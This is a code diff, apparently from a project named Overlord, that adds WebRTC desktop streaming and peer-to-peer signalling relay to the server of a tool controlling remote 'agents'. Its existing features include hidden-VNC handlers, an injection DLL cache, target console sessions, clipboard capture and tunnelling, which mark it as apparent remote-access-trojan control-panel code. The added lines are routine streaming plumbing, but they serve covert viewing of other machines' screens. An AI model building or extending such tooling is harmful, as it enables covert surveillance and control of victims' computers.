if (lower === "host" || lower === "authorization" || lower === "cookie") continue;
|
||||||
|
upstreamHeaders.set(k, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: ArrayBuffer | undefined;
|
||||||
|
if (req.method !== "GET" && req.method !== "HEAD" && req.method !== "DELETE") {
|
||||||
|
body = await req.arrayBuffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
let upstreamResp: Response;
|
||||||
|
try {
|
||||||
|
upstreamResp = await fetch(upstreamUrl, {
|
||||||
|
method: req.method,
|
||||||
|
headers: upstreamHeaders,
|
||||||
|
body,
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
logger.warn(`[webrtc] upstream fetch failed (${upstreamUrl}): ${(err as Error).message}`);
|
||||||
|
return new Response("Bad Gateway", { status: 502 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const respHeaders = new Headers(upstreamResp.headers);
|
||||||
|
const loc = respHeaders.get("location");
|
||||||
|
if (loc) {
|
||||||
|
try {
|
||||||
|
const abs = new URL(loc, MEDIAMTX_URL);
|
||||||
|
respHeaders.set("location", `/api/webrtc${abs.pathname}`);
|
||||||
|
} catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
return new Response(upstreamResp.body, {
|
||||||
|
status: upstreamResp.status,
|
||||||
|
statusText: upstreamResp.statusText,
|
||||||
|
headers: respHeaders,
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -157,6 +157,9 @@ type WsLifecycleDeps = {
|
|||||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||||
|
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||||
|
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||||
|
cleanupRdViewerP2P: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
@@ -723,6 +726,12 @@ export async function handleWebSocketMessage(
|
|||||||
case "clipboard_content":
|
case "clipboard_content":
|
||||||
deps.handleClipboardContent(client.id, payload);
|
deps.handleClipboardContent(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "webrtc_p2p_answer":
|
||||||
|
deps.handleWebrtcP2PAnswer(client.id, payload);
|
||||||
|
break;
|
||||||
|
case "webrtc_p2p_ice":
|
||||||
|
deps.handleWebrtcP2PIce(client.id, payload);
|
||||||
|
break;
|
||||||
case "proxy_data": {
|
case "proxy_data": {
|
||||||
const connId = (payload as any).connectionId;
|
const connId = (payload as any).connectionId;
|
||||||
const tunnelData = (payload as any).data;
|
const tunnelData = (payload as any).data;
|
||||||
@@ -779,6 +788,7 @@ export function handleWebSocketClose(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (role === "rd_viewer") {
|
if (role === "rd_viewer") {
|
||||||
|
deps.cleanupRdViewerP2P(ws);
|
||||||
let removedClientId = clientId;
|
let removedClientId = clientId;
|
||||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||||
if (sess.viewer === ws) {
|
if (sess.viewer === ws) {
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import * as sessionManager from "../sessions/sessionManager";
|
|||||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||||
import type { ClientInfo } from "../types";
|
import type { ClientInfo } from "../types";
|
||||||
import { canUserAccessClient } from "../users";
|
import { canUserAccessClient } from "../users";
|
||||||
|
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
|
||||||
|
|
||||||
let _cachedInjectionDll: Uint8Array | null = null;
|
let _cachedInjectionDll: Uint8Array | null = null;
|
||||||
let _dllCachePath: string | null = null;
|
let _dllCachePath: string | null = null;
|
||||||
@@ -213,6 +214,35 @@ export const rdStreamingState = new Map<string, {
|
|||||||
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
|
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
|
||||||
const RD_INPUT_TTL_MS = 10_000;
|
const RD_INPUT_TTL_MS = 10_000;
|
||||||
|
|
||||||
|
type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
|
||||||
|
const p2pAgentToViewer = new Map<string, P2PSession>();
|
||||||
|
const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
|
||||||
|
|
||||||
|
function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
|
||||||
|
const prior = p2pViewerToAgent.get(ws);
|
||||||
|
if (prior) {
|
||||||
|
p2pAgentToViewer.delete(prior);
|
||||||
|
}
|
||||||
|
const sessionId = uuidv4();
|
||||||
|
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
|
||||||
|
p2pViewerToAgent.set(ws, sessionId);
|
||||||
|
return sessionId;
|
||||||
|
}
|
||||||
|
|
||||||
|
function lookupP2PSession(sessionId: string): P2PSession | undefined {
|
||||||
|
return p2pAgentToViewer.get(sessionId);
|
||||||
|
}
|
||||||
|
|
||||||
|
function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
|
||||||
|
const sessionId = p2pViewerToAgent.get(ws);
|
||||||
|
if (!sessionId) return null;
|
||||||
|
const entry = p2pAgentToViewer.get(sessionId);
|
||||||
|
p2pAgentToViewer.delete(sessionId);
|
||||||
|
p2pViewerToAgent.delete(ws);
|
||||||
|
if (!entry) return null;
|
||||||
|
return { sessionId, clientId: entry.clientId };
|
||||||
|
}
|
||||||
|
|
||||||
function pruneRdInputPending(now = Date.now()) {
|
function pruneRdInputPending(now = Date.now()) {
|
||||||
for (const [id, pending] of rdInputPending.entries()) {
|
for (const [id, pending] of rdInputPending.entries()) {
|
||||||
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
|
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
|
||||||
@@ -384,10 +414,25 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if ((payload as any).webrtc === true) {
|
||||||
|
const streamPath = webrtcStreamPathFor(clientId);
|
||||||
|
const token = issueWebrtcPublishToken(clientId);
|
||||||
|
const whipPath = `/api/webrtc/${streamPath}/whip`;
|
||||||
|
sendDesktopCommand(target, "webrtc_publish", {
|
||||||
|
streamPath,
|
||||||
|
whipPath,
|
||||||
|
token,
|
||||||
|
});
|
||||||
|
safeSendViewer(ws, {
|
||||||
|
type: "webrtc_ready",
|
||||||
|
streamPath,
|
||||||
|
whepPath: `/api/webrtc/${streamPath}/whep`,
|
||||||
|
});
|
||||||
|
}
|
||||||
sendDesktopCommand(target, "desktop_start", {});
|
sendDesktopCommand(target, "desktop_start", {});
|
||||||
state.isStreaming = true;
|
state.isStreaming = true;
|
||||||
rdStreamingState.set(clientId, state);
|
rdStreamingState.set(clientId, state);
|
||||||
logger.debug(`[rd] started streaming for client ${clientId}`);
|
logger.debug(`[rd] started streaming for client ${clientId}${(payload as any).webrtc === true ? " (webrtc)" : ""}`);
|
||||||
} else {
|
} else {
|
||||||
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
|
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
|
||||||
}
|
}
|
||||||
@@ -397,6 +442,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
.filter(s => s.id !== ws.data.sessionId);
|
.filter(s => s.id !== ws.data.sessionId);
|
||||||
if (otherViewers.length === 0) {
|
if (otherViewers.length === 0) {
|
||||||
sendDesktopCommand(target, "desktop_stop", {});
|
sendDesktopCommand(target, "desktop_stop", {});
|
||||||
|
sendDesktopCommand(target, "webrtc_stop", {});
|
||||||
if (state.isStreaming) {
|
if (state.isStreaming) {
|
||||||
state.isStreaming = false;
|
state.isStreaming = false;
|
||||||
rdStreamingState.set(clientId, state);
|
rdStreamingState.set(clientId, state);
|
||||||
@@ -542,11 +588,70 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "webrtc_p2p_offer": {
|
||||||
|
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
|
||||||
|
if (!sdp) break;
|
||||||
|
const sessionId = createP2PSession(ws, clientId);
|
||||||
|
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "webrtc_p2p_ice": {
|
||||||
|
const sessionId = p2pViewerToAgent.get(ws);
|
||||||
|
if (!sessionId) break;
|
||||||
|
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
|
||||||
|
if (!candidate) break;
|
||||||
|
sendDesktopCommand(target, "webrtc_p2p_ice", {
|
||||||
|
sessionId,
|
||||||
|
candidate,
|
||||||
|
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
|
||||||
|
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "webrtc_p2p_stop": {
|
||||||
|
const cleared = clearP2PSessionForViewer(ws);
|
||||||
|
if (cleared) {
|
||||||
|
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
|
||||||
|
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||||
|
const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
|
||||||
|
if (!sessionId || !sdp) return;
|
||||||
|
const session = lookupP2PSession(sessionId);
|
||||||
|
if (!session) return;
|
||||||
|
safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
|
||||||
|
}
|
||||||
|
|
||||||
|
export function handleWebrtcP2PIce(_clientId: string, payload: any) {
|
||||||
|
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||||
|
const candidate = typeof payload?.candidate === "string" ? payload.candidate : "";
|
||||||
|
if (!sessionId || !candidate) return;
|
||||||
|
const session = lookupP2PSession(sessionId);
|
||||||
|
if (!session) return;
|
||||||
|
safeSendViewer(session.viewer, {
|
||||||
|
type: "webrtc_p2p_ice",
|
||||||
|
candidate,
|
||||||
|
sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
|
||||||
|
sdpMLineIndex: Number(payload?.sdpMLineIndex) || 0,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
|
||||||
|
const cleared = clearP2PSessionForViewer(ws);
|
||||||
|
if (!cleared) return;
|
||||||
|
const target = clientManager.getClient(cleared.clientId);
|
||||||
|
if (target) {
|
||||||
|
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function handleRemoteDesktopFrame(payload: any) {
|
function handleRemoteDesktopFrame(payload: any) {
|
||||||
const clientId = payload.clientId as string;
|
const clientId = payload.clientId as string;
|
||||||
const header = payload.header;
|
const header = payload.header;
|
||||||
|
|||||||
@@ -37,6 +37,8 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"proxy_data",
|
"proxy_data",
|
||||||
"proxy_close",
|
"proxy_close",
|
||||||
"disconnect_info",
|
"disconnect_info",
|
||||||
|
"webrtc_p2p_answer",
|
||||||
|
"webrtc_p2p_ice",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
export function isAllowedClientMessageType(type: string): boolean {
|
export function isAllowedClientMessageType(type: string): boolean {
|
||||||
|
|||||||
@@ -41,6 +41,11 @@ services:
|
|||||||
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
|
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
|
||||||
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
|
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
|
||||||
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
|
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
|
||||||
|
# WebRTC: Bun reaches MediaMTX via the docker service name on bridge net.
|
||||||
|
OVERLORD_MEDIAMTX_URL: ${OVERLORD_MEDIAMTX_URL:-http://mediamtx:8889}
|
||||||
|
OVERLORD_WEBRTC_PUBLIC_HOST: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
|
||||||
|
depends_on:
|
||||||
|
- mediamtx
|
||||||
volumes:
|
volumes:
|
||||||
- overlord-data:/app/data
|
- overlord-data:/app/data
|
||||||
- overlord-certs:/app/certs
|
- overlord-certs:/app/certs
|
||||||
@@ -62,6 +67,21 @@ services:
|
|||||||
retries: 3
|
retries: 3
|
||||||
start_period: 40s
|
start_period: 40s
|
||||||
|
|
||||||
|
mediamtx:
|
||||||
|
image: bluenviron/mediamtx:latest
|
||||||
|
container_name: overlord-mediamtx
|
||||||
|
restart: unless-stopped
|
||||||
|
ports:
|
||||||
|
# WHIP/WHEP signaling only reached by the Bun container internally,
|
||||||
|
# so we don't publish 8889. ICE UDP/TCP must be reachable from the
|
||||||
|
# outside world (browser + agent), so publish 8189.
|
||||||
|
- "8189:8189/udp"
|
||||||
|
- "8189:8189/tcp"
|
||||||
|
volumes:
|
||||||
|
- ./mediamtx.yml:/mediamtx.yml:ro
|
||||||
|
environment:
|
||||||
|
MTX_WEBRTCADDITIONALHOSTS: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
overlord-data:
|
overlord-data:
|
||||||
overlord-certs:
|
overlord-certs:
|
||||||
|
|||||||
@@ -43,6 +43,13 @@ services:
|
|||||||
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
|
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
|
||||||
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
|
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
|
||||||
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
|
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
|
||||||
|
# WebRTC: where Bun reaches MediaMTX HTTP (WHIP/WHEP signaling).
|
||||||
|
# Host networking on Linux → localhost works. WebRTC is opt-in; leave the
|
||||||
|
# toggle in the UI off if MediaMTX is not running.
|
||||||
|
OVERLORD_MEDIAMTX_URL: ${OVERLORD_MEDIAMTX_URL:-http://localhost:8889}
|
||||||
|
# Public address advertised to browsers/agents for ICE. Defaults to the
|
||||||
|
# request host (Bun rewrites the WHEP candidate list when needed).
|
||||||
|
OVERLORD_WEBRTC_PUBLIC_HOST: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
|
||||||
volumes:
|
volumes:
|
||||||
# overlord-data also caches downloaded cross-compile toolchains
|
# overlord-data also caches downloaded cross-compile toolchains
|
||||||
# under /app/data/toolchains, fetched on first agent build for a
|
# under /app/data/toolchains, fetched on first agent build for a
|
||||||
@@ -67,6 +74,18 @@ services:
|
|||||||
retries: 3
|
retries: 3
|
||||||
start_period: 40s
|
start_period: 40s
|
||||||
|
|
||||||
|
mediamtx:
|
||||||
|
image: bluenviron/mediamtx:latest
|
||||||
|
container_name: overlord-mediamtx
|
||||||
|
# Share the host network so WebRTC ICE UDP candidates use the host's
|
||||||
|
# interfaces directly. Same trade-off as the main service.
|
||||||
|
network_mode: host
|
||||||
|
restart: unless-stopped
|
||||||
|
volumes:
|
||||||
|
- ./mediamtx.yml:/mediamtx.yml:ro
|
||||||
|
environment:
|
||||||
|
MTX_WEBRTCADDITIONALHOSTS: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
overlord-data:
|
overlord-data:
|
||||||
overlord-certs:
|
overlord-certs:
|
||||||
|
|||||||
+7
-2
@@ -1,6 +1,11 @@
|
|||||||
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
|
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
|
||||||
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
|
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
|
||||||
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
|
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||||
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
|
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||||
|
github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
|
||||||
|
github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
|
||||||
|
github.com/sclevine/agouti v3.0.0+incompatible/go.mod h1:b4WX9W9L1sfQKXeJf1mUTLZKJ48R1S7H23Ji7oFO5Bw=
|
||||||
|
github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||||
golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=
|
golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=
|
||||||
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
|
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
|
||||||
|
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
# MediaMTX config for Overlord WebRTC streaming.
|
||||||
|
#
|
||||||
|
# Auth + access control are enforced by the Overlord Bun server, which proxies
|
||||||
|
# every WHIP/WHEP signaling request. MediaMTX only sees requests originating
|
||||||
|
# from the Bun server (over the internal docker network / loopback), so we
|
||||||
|
# leave MediaMTX itself wide open and bind its HTTP endpoint to localhost.
|
||||||
|
#
|
||||||
|
# Browser/agent ICE traffic goes directly to MediaMTX over UDP on the host
|
||||||
|
# (port 8189). That port must be reachable from both operator and agent.
|
||||||
|
|
||||||
|
logLevel: info
|
||||||
|
|
||||||
|
api: no
|
||||||
|
metrics: no
|
||||||
|
playback: no
|
||||||
|
pprof: no
|
||||||
|
|
||||||
|
# Disable every protocol except WebRTC.
|
||||||
|
rtsp: no
|
||||||
|
rtmp: no
|
||||||
|
hls: no
|
||||||
|
srt: no
|
||||||
|
|
||||||
|
# WebRTC server (WHIP/WHEP).
|
||||||
|
webrtc: yes
|
||||||
|
webrtcAddress: :8889
|
||||||
|
webrtcEncryption: no
|
||||||
|
webrtcAllowOrigins: ['*']
|
||||||
|
# UDP/TCP mux for ICE candidates. Exposed publicly so browsers + agents can
|
||||||
|
# punch through to MediaMTX directly without TURN.
|
||||||
|
webrtcLocalUDPAddress: :8189
|
||||||
|
webrtcLocalTCPAddress: :8189
|
||||||
|
# Optional: set OVERLORD_WEBRTC_PUBLIC_HOST to your public IP/hostname and
|
||||||
|
# uncomment to add explicit ICE candidates (needed behind NAT).
|
||||||
|
# webrtcAdditionalHosts:
|
||||||
|
# - ${OVERLORD_WEBRTC_PUBLIC_HOST}
|
||||||
|
|
||||||
|
paths:
|
||||||
|
# Accept any path created by a publisher (WHIP). Overlord uses
|
||||||
|
# `agents/<clientId>` for per-agent streams.
|
||||||
|
all_others:
|
||||||
|
source: publisher
|
||||||
Reference in New Issue
Block a user